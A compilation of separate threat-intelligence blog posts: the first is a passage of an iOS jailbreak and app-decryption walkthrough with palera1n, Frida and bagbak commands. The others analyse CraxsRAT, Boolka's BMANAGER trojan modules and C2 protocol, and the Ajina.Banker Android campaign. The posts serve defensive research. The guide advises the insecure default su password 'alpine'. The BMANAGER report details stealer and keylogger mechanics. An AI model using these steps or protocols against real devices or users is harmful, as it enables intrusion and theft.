If you are using a device with an Apple A11 processor running the latest iOS 16, it is crucial that the device has never had a passcode set and that the Secure Enclave Processor (SEP) state has remained unchanged. Simply removing the passcode won’t suffice in this scenario. You will need to completely reset the device—erase all content and settings—and set it up again from scratch. For further information, you can refer to the link.
To begin the jailbreak process, connect your iPhone to your computer using a USB-A to Lightning cable. When prompted on your iPhone, select “Trust” to establish the connection between the device and the computer. Once the connection is established and trusted, you can proceed to start the jailbreak procedure.
./palera1n-macos-universal
During the installation process, your phone will enter recovery mode. Following this, adhere to the timer and instructions displayed in the terminal. When prompted, manually switch the device to DFU (Device Firmware Update) mode according to the provided guidance.
Figure 3. Example of a timer in a terminal showing how to hold and press the buttons
If the process freezes, which can sometimes happen, try reconnecting the Lightning cable a few times. This may help to resolve the issue and allow the jailbreak process to continue smoothly.
Voilà! After the tool has been downloaded, you will find yourself with a jailbroken phone equipped with an app manager—in this instance, Sileo.
Figure 4. App managers Sileo and Zebra
Once launched, Sileo will prompt you to set a password for the “su” command. We highly advise setting the standard password: “alpine“. This is recommended because “alpine” is the default password for most utilities and tweaks—around 99% of them. Opting for any other password would require you to re-enter it in numerous places throughout the system.
Next, install Frida, a dynamic code instrumentation toolkit. To do so, add the repository to Sileo.
Figure 5. Repository list
It’s time to install Frida.
Once Frida is installed, you will need a Linux-based computer or a virtual machine. For our analysis, Group-IB experts used a Parallels virtual machine running Ubuntu.
Connect your iPhone to the machine and click “Trust” on the device to establish the connection:
First, perform some basic installations (if you’re an advanced user, you already know how):
Use bagbak to decrypt the application and extract it from the iPhone.
Enumerate the available packages:
bagbak -l
Figure 6. Output of the command bagbak -l
Check the list for the app you would like to be decrypted, and extract it from the iPhone. In this example, we are looking for com.nnmakakl.ajfihwejk. Also, it is important to take note and remember the app name.
Figure 7. Results of the search for the app
Set port 44 for SSH using is a special feature of palera1n and extract the app.
export SSH_PORT=44
// 44 ssh port for Paler1in jailbreak
bagbak com.nnmakakl.ajfihwejk
Mission accomplished! The result is an iOS App Store package (IPA) file of the app that is now decrypted and ready for analysis.
Despite having been discovered many years ago, vulnerabilities such as Checkm8 remain a threat on account of their ability to become deep-seated in the device’s hardware. New exploitation methods continue to emerge, which makes older devices particularly vulnerable. If a device linked to an Apple ID is compromised, it jeopardizes all devices associated with it and all synchronized data. Group-IB experts recommend taking the following steps to protect your devices:
For the general public:
Avoid connecting your primary Apple ID to devices that are known to be vulnerable to the Checkm8 exploit.
Use separate Apple IDs for older, vulnerable devices to minimize risk and limit data exposure.
Ensure a passcode is configured on your devices so that they benefit from the additional security provided by recent iOS updates.
Upgrade to newer devices with the A12 Bionic chip (iPhone XS/XR and later), which are immune to the Checkm8 vulnerability.
Never click on suspicious links. Mobile malware is often spread through malicious links in emails, text messages, and social media posts.
Carefully review the requested permissions when installing a new application and be on extreme alert when an app requests the Accessibility Service.
Refrain from engaging in unknown Testflight campaigns and avoid installing unknown MDM profiles and certificates.
For businesses: Protect against evolving iOS threats
Organizations seeking to perform device analysis or implement additional security measures can contact Group-IB’s Digital Forensics team for further assistance.
Analyzing iOS devices is particularly challenging due to the closed nature of the operating system. However, Group-IB’s Threat Intelligence team, which discovered GoldPickaxe.iOS, has the expertise needed to analyze even the most sophisticated malware families in depth and identify vulnerabilities exploited by threat actors. Group-IB Threat Intelligence provides detailed insights into attacker behaviors, helping you to understand how your devices are targeted and to protect your infrastructure in a timely and effective way.
To detect malware and block anomalous sessions before users enter any personal information, Group-IB recommends implementing a user session monitoring system such as Group-IB Fraud Protection.
Train your employees in risks related to mobile malware. This includes teaching them how to spot fake websites and malicious apps and how to protect their passwords and personal information.
In May 2024, the Group-IB team received a request from a Malaysia-based financial organization to investigate a malware sample targeting its clients in the Asia-Pacific region.
Based on details from the customer and the analysis by the Group-IB Fraud Protection team, the malware scenario was reconstructed as follows:
The victim visited a phishing website impersonating a local legitimate food brand, which prompted the victim to download an app to make a purchase. Approximately 5 minutes after downloading the app, the victim’s credentials were stolen, and experienced an unauthorized withdrawal of funds from the victim’s bank within 20 minutes of installing the app on their mobile device.
Figure 1. Example of phishing website
Figure 2. Attack Flow Diagram
After analyzing the malware sample, Group-IB Threat Intelligence experts concluded that this malware sample was attributed to the CraxsRAT.
Malware Profile
CraxsRAT is a notorious malware family of Android Remote Administration Tools (RAT) that features remote device control and spyware capabilities, including keylogging, performing gestures, recording cameras, screens, and calls. For more in-depth technical information and insights into such malware can be found in our CraxsRAT malware blog. While this Android RAT family has the capability to send SMSes to the victim’s contacts that can be used for further distribution, Group-IB’s Fraud Protection team did not observe this in use during this campaign.
Figure 3. Trojan first screen
Scheme Target
In this campaign, CraxsRAT primarily targets banking organizations in Malaysia. Following a request from a customer, Group-IB began an investigation and found over 190 additional samples in Malaysia. They all share the same package name generation scheme and impersonated local legitimate brands within the retail services, infrastructure, food and beverages, delivery and logistics, and other consumer-oriented businesses. Brands are identified based on applications’ labels.
Impact
Victims that downloaded the apps containing CraxsRAT android malware will experience credentials leakage and their funds withdrawal illegitimately. Financial organizations targeted by CraxsRAT may experience potential damage to their brand reputation, in addition to increased compliance costs.
Modus Operandi
Figure 4. Fraud Matrix of this campaign
Detection and Prevention
Fraud Protection Events
To protect its clients from the threats posed by CraxsRAT android malware and similar threats, Group-IB Fraud Protection utilizes events/rules to detect and prevent CraxsRAT and other similar malware:
For Confirmed CraxsRAT Malware Samples
Group-IB Fraud Protection maintains a comprehensive database of all detected malware. When Fraud Protection system identifies applications from a mobile trojan list being downloaded onto an end user’s device, corresponding events would be triggered to promptly notify clients.
Figure 5. Example of “Mobile Banking Trojan”
For Ongoing Updated and New Strains – Signature-Based Detection
By analyzing the characteristics and fraudulent behavior matrix of CraxsRAT android malware, Group-IB Fraud Protection analysts develop new rules based on these shared attributes and defrauding techniques. These events target undetected or updated CraxsRAT malware samples and new strains exhibiting similar features, even without specific malware signatures.
For any other fake apps – Behaviour-Based Detection
Fake apps often require end users to grant Accessibility service access and enable remote access to their Android devices upon installation. Group-IB’s Fraud Protection Platform can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These alerts are communicated to banks, enhancing the likelihood of preventing fraudulent transactions by threat actors.
Figure 6. Example of session on infected device
Mitigation from Other Perspectives
For End Users
End-users should install mobile applications from authorized app stores such as Google Play and the Apple Store to avoid downloading fake apps containing malware. Downloading apps from third-party sites significantly increases the risk of encountering fake app scam. Additionally, users should exercise caution when clicking suspicious buttons or links found on unknown websites or in emails to avoid unintentional granting high-privilege access to fraudsters and the potential loss of credentials.
For banking organizations
Banking organizations play a pivotal role in safeguarding their customers’ financial information. It is imperative for banks to educate customers about security best practices and promote proactive behavior. This includes advising customers to install mobile banking apps only from authorized app stores, avoid clicking on suspicious links, and regularly monitor their accounts for unusual activity. Additionally, banks should implement multi-factor authentication, real-time fraud detection systems, and provide timely alerts to customers regarding potential security threats. By fostering a culture of security awareness, banking organizations can significantly reduce the risk of fraudulent transactions and enhance overall trust in their services.
Conclusion
CraxsRAT malware allows fraudsters to remotely access a victim’s device and steal credentials, leading to financial loss. In addition, CraxsRAT malware is rapidly evolving, with a dramatically increasing number of new strains emerging each day. To build a multi-dimensional detection method for identifying sessions with confirmed malware samples or emerging new strains, the following events are recommended for clients of the Fraud Protection system:
Events– Signature-based detection: Fraud Protection can detect the mobile trojan and suspicious mobile application. These events facilitate the detection of confirmed malware samples, mobile trojans listed in the Fraud Protection trojan list, and any suspicious mobile applications.
Events – Behavior-based detection: Fraud Protection can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These events enable the detection of emerging malware strains by analyzing their behaviors.
Events – Statistic-based detection: Fraud Protection can detect changes in user provider, high-risk ISPs, and IPs from high-risk countries. These events help identify suspicious IPs, subnets, and countries linked to known frauds or malwares, serving as informative notifications or as part of a combination of events to prevent fraudulent activity.
Events – Cross-department detection: In cooperation with Threat Intelligence, Fraud Protection can detect compromised user login. These events enable the tracking of activities of users whose accounts have been compromised, serving as user notifications or as part of a combination of events to prevent fraudulent activity.
In January 2024, during the analysis of the infrastructure used by ShadowSyndicate Group-IB Threat Intelligence analysts detected a landing page designed to distribute the BMANAGER modular trojan, created by threat actor dubbed Boolka. Further analysis revealed that this landing page served as a test run for a malware delivery platform based on BeEF framework. The threat actor behind this campaign has been carrying out opportunistic SQL injection attacks against websites in various countries since at least 2022. Over the last three years, the threat actor have been infecting vulnerable websites with malicious JavaScript scripts capable of intercepting any data entered on an infected website.
This blogpost contains a description of:
injected JS snippets used by the attacker we named Boolka
a newly discovered trojan we dubbed BMANAGER
YARA rules are available for Group-IB Threat Intelligence customers.
If you have any information which can help to shed more light on this threat and enrich current research, please join our Cybercrime Fighters Club. We would appreciate any useful information to update the current blog post.
Description
Discovery via InfraStorm connection
In January 2024 Group-IB detected a new ShadowSyndicate server with IP address 45.182.189[.]109 by SSH fingerprint 1ca4cbac895fc3bd12417b77fc6ed31d. This server was used to host a website with domain name updatebrower[.]com. Further analysis showed that this website serves a modified version of Django admin page with injected script loaded from hXXps://beef[.]beonlineboo[.]com/hook.js.
The SSH key was mentioned in Group-IB blogpost. Based on that, an assumption was made that ShadowSyndicate is a RaaS affiliate that uses various types of ransomware, which is the most plausible case.
However, the information obtained during this research decreased the chance of this assumption being correct. We will continue to monitor InfraStorm assets to clarify the attribution. At the moment it looks like the aforementioned SSH belongs to some bulletproof hosting provider or VPN.
Web attacks
Threat actor Boolka started his activities in 2022 by infecting websites with malicious form stealing JavaScript script. The threat actor injected the following script tag into HTML code of websites (Picture 1).
Picture 1: Injected script tag
When a user visits the infected website, the script will be downloaded and executed. During execution it performs two main actions.
First, it sends a request to the threat actor’s server to notify it that the script was executed. It utilizes HTTP GET parameters with “document.location.hostname” returning the hostname of the infected website; and the current URL being Base64-encoded (Picture 2).
Picture 2: Sending a beacon to C2
Second, it collects and exfiltrates user input from infected website (Picture 3)
Picture 3: Data collection and exfiltration
The Boolka formstealing JavaScript script actively monitors user interactions, capturing and encoding input data from forms into session storage when form elements like inputs, selects, and buttons are changed or clicked. It sends all stored session data (collected form values) encoded in Base64 format back to the threat actor’s server. This behavior suggests that the script is designed for data exfiltration, potentially capturing sensitive user inputs such as passwords and usernames.
The code now includes additional checks within the cbClickButton function to exclude certain sessionStorage properties (key, getItem, setItem, removeItem, clear) from being sent to the server (Picture 5).
Picture 5: Updated collection and exfiltration code
The event listeners for user interactions with input fields, buttons, and select elements remain, capturing user input and sending it to the remote server.
The IP addresses of servers hosting the Boolka infrastructure were reported for multiple SQL injection attempts. The number and locations of reporters allow us to speculate that these attacks were opportunistic since there was no particular pattern in regions attacked by threat actor. Based on this information we can infer that the infection of compromised websites was the result of exploitation of vulnerabilities detected during this opportunistic vulnerability scanning.
Example SQL Injection payload used by attacker:
Malware delivery
The landing page updatebrower[.]com (Picture 6) detected in January 2024 was a test run of a malware delivery platform created by Boolka. This platform was based on open source tool BeEF (The Browser Exploitation Framework). In addition to the use of the obvious subdomain “beef” and default BeEF filename “hook.js” VirusTotal also detected and saved default hook.js version.
Picture 6: Screenshot of first detected test landing page created by Boolka
In total threat actor created 3 domain names for landing pages but used only one of them:
updatebrower.com
1-update-soft.com
update-brower.com
In March 2024, Group-IB Threat Intelligence analysts detected the first use of Boolka’s malware delivery platform in the wild. While there are multiple overlaps between the list of websites infected with Boolka’s formstealing JS and Boolka’s BeEF payload, we can assume that during this campaign the threat actor used the same approach for website infection that he tested during early stages of his activities.
In analyzed cases BeEF-based malware delivery platform created by Boolka was used to distribute a downloader for the BMANAGER trojan.
Malware
Different malware samples were discovered during analysis. Infection starts with the BMANAGER dropper which will attempt to download the BMANAGER malware from a hard-coded URL.
The following malware samples have been discovered as being used by Boolka.
All samples found thus far have been created with PyInstaller. The Python scripts used rely on Python 3.11.
BMANAGER downloader
The BMANAGER downloader attempts to download, configure persistence for, and execute the BMANAGER malware.
It downloads the BMANAGER from a URL hard-coded into the dropper using a HTTP(S) GET request.
The response to this request is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the BMANAGER executable file.
By default it drops the BMANAGER malware at: C:\Program Files\Full Browser Manager\1.0.0\bmanager.exe
BMANAGER persistence & execution
Persistence is achieved via Windows tasks. This starts the BMANAGER malware when the user logs into Windows.
BMANAGER is capable of downloading files from a hard-coded C2, creating startup tasks, deleting startup tasks, and running executables.
Features
Download executables from a hard-coded C2 address
Create Windows tasks to allow executables to run on login
Create Windows tasks to run executables
Delete Windows tasks
Windows tasks & persistence
Persistence is achieved by creating Windows tasks. Individual malware samples do not have the capability to achieve persistence. This is done for them by the BMANAGER malware. The BMANAGER malware will execute the following command to achieve persistence:
With task_name being replaced by a name for the task as defined by the C2. And path_to_executable being replaced with the path to and name of the executable to configure the persistence for.
C2 communication
The malware communicates with the C2 via HTTP(S) GET requests.
Register client
On startup the malware will send messages to the C2 to register it using a GUID randomly generated by the malware. This GUID is stored in a local SQL database.
The initial C2 this request is sent to is hard-coded into the sample.
/client?guid={guid}
Expects a string “success” to be returned.
/getmainnodes?guid={guid}
Expects a list of potential C2s to be returned.
/
This request is sent to each C2 in the received list to determine response time.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Request is executed for each C2 in the returned list.
Expects a string “success” to be returned.
If “success” is returned the C2 is selected as the active C2 and it stops going through the list of C2s.
The list of C2s is stored in a locally kept SQL database. The active C2 is marked as such in this SQL database.
Get target applications
Next the malware will attempt to retrieve a list of applications which are targets. This request is made to the active C2.
/getprogramms?guid={guid}
The response is a single string containing comma separated executable names.
Response of C2 during time of analysis (29/02/2024)
This list of applications is stored in the local SQL database. The information can then be used by other modules to determine what applications to target.
Get additional malware
Last but not least the malware will attempt to retrieve additional executables from the active C2. These executables have thus far always been other malware samples. These samples are:
BMREADER
Data exfiltration module
BMLOG
Keylogger module
BMHOOK
Windows hooking module
BMBACKUP
File stealer module
It will send a GET request to the C2 to retrieve the applications to download and install.
Response of C2 during the time of analysis (29/02/2024).
These strings consist of parameters used by the BMANAGER malware. These parameters are separated using the semicolon (;) character. The parameters are as follows:
Download URL
The URL from where to download the executable.
Windows task name
The name of the Windows task to create/run/delete.
Executable dump path
Where the downloaded executable is dumped on the victim device.
Function
Whether to create a new Windows task for the executable, to run an existing Windows task, to create and run a Windows task, or to delete an existing Windows task.
Possible values:
1
Create new Windows task (which is set to start on login)
This will download the executable.
2
Delete an existing Windows task
3
Create a new Windows task (which is set to start on login) and run it immediately
This will download the executable.
4
Run an existing Windows task
5
Stop a currently running Windows task
This will also delete the executable.
Version
A string value. This value is used to distinguish between versions of the malware.
To download an executable the malware sends a GET request to the given URL. The response is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the final executable file.
A new Windows task is created for this executable to start on login, and optionally the executable is started immediately.
After all applications have been downloaded, and all tasks have been performed, a message is sent back to the C2.
/install?guid={guid}&name={version}
The version being the version string found in the C2 response.
BMREADER
The BMREADER malware sends stolen data stored in the local SQL database to the active C2.
Features
Exfiltrates data stored in the local SQL database
C2 communication
Communication with the C2 is done via HTTP(S) GET requests.
Register with C2
On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.
/getnodes?guid={guid}&type=2
Expects a list of C2s as response.
/usednodes?guid={guid}&t=0&node={resultnode}
resultnode is set to the initial C2 address.
Only called if 1 did not return a list of C2s.
Expects a list of C2s as response.
/
Called for every C2 in the list.
Measures response time of C2s.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Called for every C2 in the list.
Expects string “success”.
If “success” is returned it will stop going through the list of C2s.
/usednodes?guid={guid}&t=0&node={resultnode}
resultnode is set to the C2 the malware has chosen to connect to.
Sent to the initial C2.
If no C2 returns “success”, the initial C2 is used.
Sending stolen inputs
One of the values stored in the local SQL database that is exfiltrated by the BMREADER is a list of keyboard inputs. These keyboard inputs have been obtained by the BMLOG (keylogger) malware.
The following GET request is made to the connected C2.
eventid being the ID of the event that triggered the keylogging
recid being the ID of the keylogging.
data being the actual string of inputs stolen from the victim.
The logged keys sent are then removed from the local SQL database.
Sending known applications
Another value stored in the local SQL database, and sent to the C2 by the malware, are applications found to be running on the victim device. These applications are collected by the BMHOOK malware.
A GET request is made to the C2:
/clientprogramm?guid={guid}&vars={resultencode}
guid being the random GUID obtained from the local SQL database.
resultencode being a ZLIB compressed and Base64 encoded string consisting of all programs stored in the local SQL database
When the response to this request is a string value of “success” the SQL database is updated. This update sets all applications as having been sent. This prevents entries from being sent twice.
BMLOG
The BMLOG malware is a keylogger. It stores logged keys in a local SQL database.
It performs the keylogging using the Python keyboard module.
Due to the keyboard module logging keys globally, not per window, it uses the BMHOOK malware to record which window currently has keyboard focus.
It will only log keys for applications that have been set as targets. These targets are received by the BMANAGER malware from the C2 and stored in the local SQL database. The BMLOG malware reads these targets from that same database.
Features
Record keyboard inputs
Storing logged keys
Instead of sending logged keys to a C2 it stores them in a local SQL database.
The keylogger will continually log keys until either:
60 seconds of logging have passed
A different window gains keyboard focus
If either of these events occurs all inputs are stored as a single string in the local SQL database. After storage the keylogger will begin logging again.
The inputs are translated as follows:
For inputs a single character long (a, b, 1, 2, etc.) they are put in the string as is.
For space inputs a whitespace is appended to the string.
For tab inputs a “\t” character is appended to the string.
For other inputs the input is capitalized and placed between square brackets before being appended to the string.
Additional values stored alongside the input string are:
The event ID
The amount of recordings made for the logged application
The path to the logged application
The title of the window being keylogged
0 value to indicate the information has not yet been sent to the C2
The BMREADER application sends the logged keys to the C2.
BMHOOK
The BMHOOK malware uses Windows hooks to discover which applications are running on a victim device and which window/application has keyboard focus.
This sample stands out in its implementation in that it uses CPython and Windows APIs to install Windows hooks. This makes the sample function only on Windows.
Features
Install a Windows hook to trigger on a window receiving keyboard focus
Windows hooks
The BMHOOK malware uses the SetWinEventHook function to install a Windows hook. This hook is configured to trigger on win32con.EVENT_OBJECT_FOCUS events. This type of event occurs when a window receives keyboard focus.
The following actions occur when this event is triggered:
Use GetWindowTextW to retrieve the title of the hooked window.
Obtain the full path of the executable the window belongs to.
Insert these two values, and a unique ID value, into the local SQL database.
Insert the path to the application into the local SQL database, if it does not exist there already.
The BMREADER malware uses the information stored in the local SQL database to send to the C2. The BMLOG malware uses the information to determine which window/application is being keylogged.
BMBACKUP
The BMBACKUP malware is a file stealer. It checks for specific files retrieved from a C2. If it finds the files it will read them and send them to the C2.
Features
Retrieve paths of files to steal from C2
Exfiltrate stolen files to C2
C2 communication
Communication with the C2 occurs via HTTP(S) GET requests.
Register with C2
On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.
/getnodes?guid={guid}&type=2
Expects a list of C2s as response.
/usednodes?guid={guid}&t=0&node={resultnode}
Only called if 1 did not return a list of C2s.
Expects a list of C2s as response.
/
Called for every C2 in the list.
Measures response time of C2s.
List of C2s is sorted based on response time from low to high.
/client?guid={guid}
Called for every C2 in the list.
Expects string “success”.
If “success” is returned it will stop going through the list of C2s.
/usednodes?guid={guid}&t=0&node={resultnode}
Sent to the initial used for the first request.
resultnode is set to the C2 the malware has chosen to connect to.
If no C2 returns “success”, the initial C2 is used.
Get target files
The malware sends a request to the C2 every 60 seconds to retrieve a list of files to exfiltrate.
/getpaths?guid={guid}
The response consists of a list of strings. Each being an absolute path to a file to exfiltrate.
Response from C2 during the time of analysis (29/02/2024).
After making this request it will check each of these files whether they exist or not. If a file is found to exist the exfiltration process is initiated.
Exfiltrating files
The malware will go through the list of files to exfiltrate and check if they exist. When a file exists it will begin the exfiltration process.
A copy of the target file is made with a randomized name. This randomized name is a random UUID value ending with “.tmp”. This copy is placed in the users temporary directory (C:\Users\*\AppData\Local\Temp).
The copy file is read in 16384 byte chunks. Each of these chunks is sent to the C2 via a GET request.
/clientfiledata?guid={guid}&vars={resultencode}
resultencode being a Base64 encoded string containing the byte data.
resultencode is created in the following manner:
Up to 16384 bytes are read from the target backup file and converted to a hexadecimal string
partcount are the total amount of chunks the file consists of
hex are the bytes read from the file
file is the path and name of the original file (not the path and name of the backup file)
This info string is ZLIB compressed, Base64 encoded, and then made URL safe
This is the final resultencode object that is sent as a URL parameter
SQL database
Most samples make use of a local SQL database. The path and name of this database is hard-coded in the samples to be located at: C:\Users\{user}\AppData\Local\Temp\coollog.db, with user being the username of the logged in user.
The following is a map of the SQL database. This map contains all tables and fields used by the different malware samples. Do note that the tables are created by each sample as they use them. Thus if certain samples are not present on a device, these tables may not be present.
Tables
clientguid
Contains the randomly generated GUID used to identify the sample to the C2.
Created by BMANAGER
mainnodes
Contains a list of C2s, in particular the currently active C2.
Created by BMANAGER
log
Contains the keylogger data.
Created by BMLOG
event
Contains which applications/windows have/had keyboard focus.
Created by BMHOOK
allprogramm
Contains a list of applications whose window has received keyboard focus at one point.
Created by BMHOOK
programms
Contains a list of all applications that are to be targeted by other modules.
Created by BMANAGER
files
Contains a list of files that need to be exfiltrated to the C2.
Created by BMBACKUP
Signing certificate
BMANAGER 2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802 is signed with a valid certificate by ООО ТАСК:
According to the company’s website they develop software, however there are few suspicious things:
The locale shown on the map differs from the address, which points to the town of Dmitrov in Moscow, Russia.
all buttons show static info which doesn’t correlate with their description
Based on public information the company consists of 4 people, and their CEO also runs 5 other small companies.
These facts lead to three different versions:
the certificate doesn’t belong to OOO ТАСК, and it was bought by a fraudster providing fake data to GlobalSign
the certificate was stolen from OOO ТАСК, which means that either infrastructure of ООО ТАСК was compromised or email i.shadrin@tacke.ru got compromised
ООО ТАСК or it’s employees anyhow involved into fraudulent operations
We can not confirm any of these versions. However we checked domain tacke.ru in the stealer logs cloud and didn’t find any occurrence.
Conclusion
The discovery of the Boolka’s activities sheds light on the evolving landscape of cyber threats. Starting from opportunistic SQL injection attacks in 2022 to the development of his own malware delivery platform and trojans like BMANAGER, Boolka’s operations demonstrate the group’s tactics have grown more sophisticated over time. The injection of malicious JavaScript snippets into vulnerable websites for data exfiltration, and then the use of the BeEF framework for malware delivery, reflects the step-by-step development of the attacker’s competencies.
The analysis reveals the complexity of the malware ecosystem employed by Boolka, with various components such as formstealing scripts, keyloggers, and file stealers orchestrated to achieve malicious objectives. Additionally, the investigation into the signing certificate used by the BMANAGER malware underscores the challenges in attribution and the potential involvement of legitimate entities in illicit activities.
Recommendations
Recommendations for end users:
Avoid clicking on suspicious links or downloading files from unknown sources.
Download apps and updates only from official sources.
Ensure that your operating systems, browsers, and all software are regularly updated.
Employ strong, unique passwords for different accounts and use a reputable password manager to keep track of them.
Enhance security by enabling multi-factor authentication (MFA) on your accounts wherever possible.
Ensure you have reliable and up-to-date security measures like anti-virus software in place to detect and remove threats.
Recommendations for website owners:
Conduct frequent security audits and vulnerability assessments to identify and fix potential weaknesses. Group-IB’s Penetration Testing services can help you minimize your susceptibility to web attacks. Our experts work with the latest methods and techniques curated by Group-IB Threat Intelligence to pinpoint assets vulnerable to web injection attacks, and more.
Use robust authentication protocols and require strong passwords for all users, along with multi-factor authentication.
Ensure all software, including plugins and content management systems, are updated with the latest security patches.
Deploy a WAF to monitor and filter malicious traffic targeting your web applications.
For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence system, which can be used to detect relevant threats as early as during their preparation stage. The built-in graph analysis tool enriched by data from the largest threat-actor database reveals links between attackers, their infrastructures, and their tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an organization’s ability to counter attacks, including ones carried out by state-sponsored groups.
Discovered by Group-IB in May 2024, the Ajina.Banker malware is a major cyber threat in the Central Asia region, disguising itself as legitimate apps to steal banking information and intercept 2FA messages.
Introduction
In May 2024, Group-IB analysts discovered suspicious activity targeting bank customers in the Central Asia region. The threat actors have been spreading malicious Android malware designed to steal users’ personal and banking information, and potentially intercept 2FA messages. During the investigation, Group-IB discovered .APK files masquerading as legitimate applications that facilitated payments, banking, deliveries, and other daily uses. These malicious files were spread across Telegram channels.
After the initial analysis of this trojan, we discovered thousands of malicious samples. All the found samples were divided into several activity clusters, each to be separately studied and investigated in a series of articles. This article examines one of these clusters: meet the Ajina.Banker malware.
Ajina is a mythical spirit from Uzbek folklore, often depicted as a malevolent entity that embodies chaos and mischief. According to local legends, this spirit is known for its ability to shape-shift and deceive humans, leading them astray or causing them harm. We chose the name Ajina for this malware campaign because, much like the mythical spirit, the malware deceives users by masquerading as legitimate applications, leading them into a trap compromising their devices and causing significant harm.
Key Findings
During our research, we uncovered the ongoing malicious campaign that started from November 2023 to July 2024.
We found and analyzed approximately 1,400 unique samples of Android malware and identified changes between versions of the same malware.
The attacker has a network of affiliates motivated by financial gain, spreading Android banker malware that targets ordinary users.
Analysis of the file names, sample distribution methods, and other activities of the attackers suggests a cultural familiarity with the region in which they operate.
Analysis also shows that the evolution of this malware campaign is causing attacks to expand beyond the original region, causing more victims in other countries as well.
Threat Actor Profile
The starting point of the research
As part of its continuous monitoring and hunting procedures, Group-IB analysts discovered a malicious Android sample (SHA1 b04d7fa82e762ea9223fe258fcf036245b9e0e9c) that was uploaded to the VirusTotal platform from Uzbekistan via a web interface, and had an icon of a local tax authority app.
Figure 1. Screenshot of the sample found on the VirusTotal platform
Behavioral analysis has shown that the application tries to contact 109.120.135[.]42. Group-IB’s proprietary Graph Network Analysis tool reveals similar files that contacted the same server.
Figure 2. Screenshot of graph analysis of network infrastructure of the detected server
Our attention was also drawn to the package when our Fraud Protection solution detected the package org.zzzz.aaa in one of our client sessions. During our investigation, we found more samples on the VirusTotal platform. Our Fraud Analysts continued researching this malware and constructed a timeline of the campaign, identifying methods of distribution and targets.
Figure 3. Screenshot of Android Info summary with unique package name
Timeline
Ajina’s malicious campaign commenced in November 2023 and has persisted to present day. Initially the activities detected included the malware distribution through Telegram, encompassing a range of threats from malware-laden attachments to phishing attempts.
Ajina refined their tactics as the campaign progressed into February through March 2024, demonstrating heightened sophistication Social engineering techniques and the scale of the attack were increasingly leveraged to enhance the campaign’s efficiency. Based on Group-IB’s Fraud Protection system, we have plotted the following timeline of new infections.
Figure 4. New infections timeline
The timeline above illustrates the daily count of new infections, indicating a persistent and ongoing threat. This trend reveals that many users continually fall victim to the malware, leading to a steady increase in infections over time. The data shows that the adversary’s distribution techniques remain effective, successfully targeting new victims daily.
Malware distribution
Our analysis has revealed intensive attempts by Ajina to utilize messaging platforms, including Telegram, as a channel for disseminating malicious samples. Ajina orchestrated a widespread campaign by creating numerous Telegram accounts, leveraging these accounts to disseminate malware within regional community chats. Evidence suggests that this distribution process may have been partially automated, allowing for a more efficient and far-reaching spread of the malicious software.
To enhance their deception, Ajina crafted messages and sent links and files to lure unsuspecting users. The malware is often disguised as legitimate banking, government, or everyday utility applications, designed to exploit the trust users placed in these essential services in order to maximize infection rates and entice people to download and run the malicious file, thereby compromising their devices. This targeting method resulted in a widespread and damaging malware campaign that compromised numerous devices in the Central Asia region.
Techniques
Files with themes
To further entice potential victims, the adversary shared these malicious files in local Telegram chats, using a variety of deceptive methods. They crafted enticing giveaways and promotional messages that promised lucrative rewards, special offers, or exclusive access to sought-after services. In the following example, one of the following text messages was used for spreading files mimicking the local finance application (SHA1 5951640c2b95c6788cd6ec6ef9f66048a35d6070).
Figure 5.1 Screenshot of the message with the malicious file
Figure 5.2 Scan results on VirusTotal platform
Translated from Uzbek:
arrow_drop_down
These messages were designed to create a sense of urgency and excitement, prompting users to click on the links or download the files without suspecting any malicious intent. The use of themed messages and localized promotion strategies proved to be particularly effective in regional community chats. By tailoring their approach to the interests and needs of the local population, Ajina was able to significantly increase the likelihood of successful infections.
File spamming
Further analysis of Ajina’s distribution techniques revealed instances where they spammed messages containing only a malicious file attachment devoid of any accompanying text. This approach aimed to exploit the curiosity of users who might be inclined to open an unsolicited file or open it accidentally.
These spam campaigns were conducted across multiple accounts, sometimes even simultaneously, suggesting a highly coordinated effort. The simultaneous and widespread nature of these spam messages hints at the potential use of an automated distribution tool.
Figure 6. Screenshot of sending multiple messages
Link to Telegram channel
In addition to spamming messages with malicious attachments, Ajina also sent links to channels that hosted the malicious files, accompanied by promotional texts designed to engender trust and entice users to download the malware.
By directing users to external channels rather than sending files directly within the chat, Ajina aimed to circumvent the common security measures and restrictions imposed by many community chats. Sending files directly within a chat sometimes triggers automatic moderation and can lead to the adversary’s accounts being banned. However, by using links to external channels, they could bypass these restrictions, ensuring that their malicious content remained accessible to potential victims for a longer period of time.
This approach helped the adversary avoid detection and leveraged the trust users have in seemingly legitimate channels. Once users clicked on the link and entered the channel, they were inclined to believe that the files shared there were safe, especially when presented with convincing promotional texts. This strategy highlights the adversary’s adaptability and continuous efforts to refine their methods to evade security measures and maximize the reach of their malware campaign.
Figure 7.1 Screenshot of sending a link to channel
Figure 7.2 Content of channel
Link to web-resource
Some examples were found when the adversary sent links to web resources.
Figure 8. Screenshot of a message containing a link to web-resource
Accounts
Our investigation uncovered that the adversary established multiple accounts to execute their malicious campaign effectively. These accounts were meticulously set up to blend in with regular users and evade detection for as long as possible. Below, we provide detailed information on some of the identified accounts, including their account names, usernames, and user IDs, along with the volume of messages sent from each account.
Last Seen Name
INFINITOSSS MILLENNIUM
—
Barno Umarova
—
Оксана Цветкова
Last Seen Username
infinitosss
—
—
—
—
User ID
6571903171
6856449327
6824678523
6477339333
7027991392
Number of messages
238
175
76
54
25
Last Seen Name
Ренат
Алевтина!
Эмилия!
Святослав Пономарев
Eduard Bocan
Last Seen Username
—
—
—
—
EduardBocan
User ID
6406880636
7119728862
6556126401
7158481885
6125515928
Number of messages
16
48
46
10
43
Last Seen Name
Никон Дементьев
Эрнест Щербаков
شوكت
Лукия Рыбакова
Нинель Мамонтова
Last Seen Username
—
—
—
—
—
User ID
7133377920
6887020479
5526643036
6344107060
6701781993
Number of messages
7
